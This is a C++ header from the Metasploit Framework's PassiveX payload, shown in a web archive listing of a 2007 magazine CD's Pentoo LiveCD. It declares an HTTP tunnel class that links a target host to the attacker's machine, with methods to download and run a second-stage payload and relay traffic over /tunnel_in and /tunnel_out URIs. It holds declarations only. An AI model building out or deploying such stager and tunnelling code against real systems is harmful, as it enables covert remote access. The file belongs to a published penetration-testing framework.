home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / src / passivex / HttpTunnel.h < prev    next >
C/C++ Source or Header  |  2006-06-30  |  2KB  |  96 lines

  1. /*
  2.  * This file is part of the Metasploit Exploit Framework
  3.  * and is subject to the same licenses and copyrights as
  4.  * the rest of this package.
  5.  */
  6. #ifndef _PASSIVEX_HTTPTUNNEL_H
  7. #define _PASSIVEX_HTTPTUNNEL_H
  8.  
  9. #define PASSIVEX_URI_SECOND_STAGE TEXT("/stage")
  10. #define PASSIVEX_URI_TUNNEL_IN    TEXT("/tunnel_in")
  11. #define PASSIVEX_URI_TUNNEL_OUT   TEXT("/tunnel_out")
  12.  
  13. #define PROFILE_CHECKPOINT(x) \
  14.     CPassiveX::Log("%s:%d:%lu: %s\n", __FILE__, __LINE__, GetTickCount(), x)
  15.     
  16.  
  17. /*
  18.  * This class is responsible for managing the HTTP tunnel between a target host
  19.  * and the local machine.
  20.  */
  21. class HttpTunnel
  22. {
  23.     public:
  24.         HttpTunnel();
  25.         ~HttpTunnel();
  26.  
  27.         // Initialization
  28.         DWORD Start(
  29.                 IN LPSTR HttpHost,
  30.                 IN USHORT HttpPort);
  31.         DWORD Stop();
  32.     protected:
  33.         // Internal Initialization
  34.         DWORD InitializeLocalConnection();
  35.  
  36.         // Second stage loader
  37.         VOID DownloadSecondStage();
  38.  
  39.         // Data transmission
  40.         DWORD TransmitToRemote(
  41.                 IN PUCHAR Buffer,
  42.                 IN ULONG BufferSize);
  43.         DWORD TransmitToLocal(
  44.                 IN PUCHAR Buffer,
  45.                 IN ULONG BufferSize);
  46.  
  47.         DWORD TransmitHttpRequest(
  48.                 IN LPTSTR Method,
  49.                 IN LPTSTR Uri,
  50.                 IN PVOID RequestPayload = NULL,
  51.                 IN ULONG RequestPayloadLength = 0,
  52.                 IN ULONG WaitResponseTimeout = 0,
  53.                 OUT LPDWORD ResponseCode = NULL,
  54.                 OUT PVOID *ResponsePayload = NULL,
  55.                 OUT LPDWORD ResponsePayloadLength = NULL);
  56.  
  57.         // Thread functions
  58.         static ULONG SendThreadFuncSt(
  59.                 IN HttpTunnel *Tunnel);
  60.         ULONG SendThreadFunc();
  61.         static ULONG ReceiveThreadFuncSt(
  62.                 IN HttpTunnel *Tunnel);
  63.         ULONG ReceiveThreadFunc();
  64.  
  65.         static ULONG SecondStageThreadFuncSt(
  66.                 IN HttpTunnel *Tunnel);
  67.  
  68.         /**************
  69.          * Attributes *
  70.          **************/
  71.  
  72.         // Remote host information
  73.         LPSTR     HttpHost;
  74.         USHORT    HttpPort;
  75.  
  76.         // Sockets
  77.         WSADATA   WsaData;
  78.         SOCKET    LocalTcpListener;
  79.         SOCKET    LocalTcpClientSide;
  80.         SOCKET    LocalTcpServerSide;
  81.  
  82.         // Internet context
  83.         HINTERNET InternetHandle;
  84.  
  85.         // Stage attributes
  86.         PUCHAR    SecondStage;
  87.         DWORD     SecondStageSize;
  88.  
  89.         // Threads
  90.         HANDLE    SendThread;
  91.         HANDLE    ReceiveThread;
  92.         HANDLE    SecondStageThread;
  93. };
  94.  
  95. #endif
  96.